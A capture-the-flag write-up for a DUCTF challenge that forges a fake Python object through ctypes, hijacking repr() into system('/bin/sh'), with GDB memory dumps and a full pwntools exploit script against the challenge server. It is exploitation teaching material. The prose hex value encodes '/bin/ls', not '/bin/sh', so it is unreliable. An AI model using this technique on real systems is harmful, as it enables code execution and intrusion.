This was a fun challenge that exposes some of Python’s internals.

First, here’s the script that was given:

#!/usr/bin/env python3  
  
import ctypes  
  
obj = {}  
print(f"addrof(obj) = {hex(id(obj))}")  
  
libc = ctypes.CDLL(None)  
system = ctypes.cast(libc.system, ctypes.c_void_p).value  
print(f"system = {hex(system or 0)}")  
  
fakeobj_data = bytes.fromhex(input("fakeobj: "))  
for i in range(72):  
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]  
  
print(obj)

We’re given the address of an object, but what can we do with that?

My first idea was to replace one of the internal function pointers (like a destructor or __repr__) with the address of system, and somehow pass /bin/sh as an argument. But first, we need to examine what obj looks like in memory.

To do that, I used GDB to debug Python and run the fakeobj.py script. Before modifying the object, I wanted to pause the script to inspect memory. You can use signals or GDB Python extensions, but I took the simpler route—adding an input() just before the object gets overwritten.

Here’s the modified script:

import ctypes  
  
obj = {}  
print(f"addrof(obj) = {hex(id(obj))}")  
  
libc = ctypes.CDLL(None)  
system = ctypes.cast(libc.system, ctypes.c_void_p).value  
print(f"system = {hex(system or 0)}")  
 
input()  # acts like a breakpoint

When inspecting memory, we see the object contains several fields, four of which are addresses:

pwndbg> x/9gx 0x7ffff718a600  
0x7ffff718a600: 0x0000000000000001   0x00007ffff7cdab80  
0x7ffff718a610: 0x0000000000000000   0x0000000003cde000  
0x7ffff718a620: 0x00007ffff7ca6200   0x0000000000000000  
0x7ffff718a630: 0x00007ffff7189fb0   0x00007ffff716ef70  
0x7ffff718a640: 0x0000000000000001

The rest are probably arguments or metadata. To figure out which field we can control, I began overwriting them one by one to see which affected program control flow. Two stood out:

  • The first address should point to obj_addr + 0x88.

  • The second address should point to an executable memory, overwriting this value with 0xdeadbeef causes a crash at exactly that address, confirming control of execution.

Disassembly shows:

<PyObject_Str+176>: mov r14, QWORD PTR [r13+0x88]

This means if we control r13, and r13+0x88 points to our the beginning of our object, we can hijack execution when repr() is called (via print(obj)).

To trigger system("/bin/sh"), I first what system took as an argument. When I ran the program with __repr__ replaced by system, the program failed with an error like sh: \x03: command not found. It turns out the first byte (0x01 which then becomes 0x03 just before the call) of the object is being passed as the first byte of the string—somehow the ob_refcnt is treated as string argument of __repr__. So I adjusted the payload by subtracting 0x2 from the /bin/sh.

Now, overwriting the beginning of the object with:

0x00736c2f6e69622f - 0x2

…got me a shell!

When testing in the provided Docker container, it didn’t work right away. I installed GDB inside the container and noticed it was running Python 3.10, while I used Python 3.12 locally.

Inspecting the memory again, I saw that the first byte of the object changes from 0x01 to 0x02 instead of 0x03. Adjusting the payload:

0x00736c2f6e69622f - 0x1

…did the trick. Got a shell.

Flag: DUCTF{what_do_you_call_a_snake_that_bakes?_a_pie-thon!}


Final Exploit Script

#!/usr/bin/env python3  
from pwn import *  
 
r = remote("chal.2025-us.ductf.net", 30001)  
 
r.recvuntil(b"addrof(obj) = ")  
obj_addr = int(r.recvuntil(b"\n").strip(), 16)  
 
r.recvuntil(b"system = ")  
system_addr = int(r.recvuntil(b"\n").strip(), 16)  
  
payload  = p64(0x0068732f6e69622f - 0x1)  # '/bin/sh' - 1
payload += p64(obj_addr)                 # fake ob_type
payload += p64(0x0)                      # padding
payload += p64(0x3ce2000)                # arbitrary
payload += p64(system_addr)             # hijack repr
payload += p64(0x0)
payload += p64(0xc0febabe)
payload += p64(0xdeadbeef)
payload += p64(0x1)
 
r.recvuntil(b"fakeobj:")
r.sendline(enhex(payload).encode())  
 
r.interactive()